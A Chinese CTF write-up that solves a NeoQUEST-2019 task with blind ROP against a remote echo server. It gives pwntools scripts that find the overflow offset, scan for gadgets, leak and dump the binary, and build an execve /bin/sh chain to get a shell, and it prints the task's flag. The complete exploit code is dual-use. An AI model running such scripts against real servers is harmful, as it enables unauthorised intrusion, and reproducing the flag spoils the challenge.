如何在没有信息的服务器上找到漏洞? BROP与ROP有何不同? 是否可以通过缓冲区溢出从服务器下载可执行文件? 欢迎来到这只猫,我们将以传递
NeoQUEST-2019任务为例分析这些问题的答案!
服务器的地址和端口为:
213.170.100.211 10000 。 让我们尝试连接到它:
乍一看-常规回显服务器没什么特别的:返回我们自己发送给它的相同内容。
在处理了传输数据的大小之后,您会注意到,如果线路长度足够长,服务器将无法站立并终止连接:
嗯,好像溢出了。
找到缓冲区的长度。 您可以简单地迭代这些值,然后递增它们,直到我们从服务器获得非标准输出为止。 然后,您可以使用二进制搜索来显示一些技巧,并加快处理过程,检查在下一个请求后服务器是否崩溃或没有崩溃。
确定缓冲区长度from pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
因此,缓冲区的长度为136。如果您向服务器发送136个字节,则我们将行末尾的空字节擦除到堆栈上并获取其后的数据-值为0x400155。 这显然是寄信人地址。 这样,我们可以控制执行流程。 但是我们本身没有可执行文件,并且我们不知道可以让我们获得外壳程序的ROP小工具的确切位置。
该怎么办?
只要返回地址是受控的,就有一种特殊的技术可以解决此类问题-
面向盲返回的编程 。 本质上,BROP是对可执行文件的小工具进行盲目扫描。 我们用文本段中的某个地址重写返回地址,在堆栈上设置所需小工具的参数并分析程序行为。 基于分析,无论我们是否猜到,都会产生一个假设。 特殊的辅助小工具起着重要的作用-
停止 (其执行不会导致程序终止)和
陷阱 (其执行将导致程序结束)。 因此,首先找到辅助小工具,并在它们的帮助下已经搜索了必要的小工具(通常是为了调用
write并获取可执行文件)。
例如,我们想要找到一个小工具,该小工具将来自堆栈的单个值放入寄存器并执行
ret 。 我们将记录测试的地址而不是返回地址,以便将控制权转移给它。 在此之后,我们记下我们之前发现的
Trap小工具的地址,并在其后面是
Stop小工具的地址。 最终结果是:如果服务器崩溃(
陷阱工作),则该小工具位于当前的测试地址,该地址与所寻求的地址不匹配:它不会从堆栈中删除
陷阱小工具的地址。 如果
Stop起作用了,那么当前的小工具可能正是我们要寻找的:它从堆栈中删除了一个值。 因此,您可以搜索与特定行为匹配的小工具。
但是在这种情况下,可以简化搜索。 我们肯定知道服务器正在为我们印刷一些价值。 您可以尝试扫描可执行文件中的各种地址,看看我们是否再次获得显示该行的代码。
小工具发现 lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
我们如何使用此泄漏获取可执行文件?
我们知道服务器会写一行作为响应。 当我们转到地址
0x40016f时,输出函数
的参数充满了某种垃圾。 因为从返回地址来看,我们正在处理一个64位可执行文件,所以函数的参数
位于寄存器中。
但是,如果我们找到一个小工具来控制寄存器的内容(将它们从堆栈中放入),该怎么办? 让我们尝试使用相同的技术找到它。 我们可以将任何值放在堆栈上,对吗? 因此,我们需要找到一个弹出式小工具,将其值放在所需的寄存器中,然后再调用输出函数。 将ELF文件开头的地址(
0x400000 )设置为字符串的地址。 如果我们找到合适的小工具,则服务器将必须打印签名
7F 45 4C 46作为响应。
小工具搜索继续 def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
使用生成的地址,我们从服务器中抽出可执行文件。
文件提取 def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
让我们在IDA中看到它:
地址
0x40016f导致我们进入
syscall ,而地址
0x40017f导致我们进入
pop rsi ;
撤退 。
现在您已经有了一个可执行文件,您可以构建一个ROP链。 而且,行
/ bin / sh也在其中 !
我们形成一个使用
/ bin / sh参数调用
系统的链。 例如,可以
在此处找到有关64位Linux系统调用的信息。
最后一步 def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
运行漏洞并获取shell:
胜利了!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433很快,vraytaps将出现在NeoQUEST-2019在线阶段的其他任务中。 而“对抗”将于6月26日举行! 新闻将出现在活动
网站上 ,请不要错过!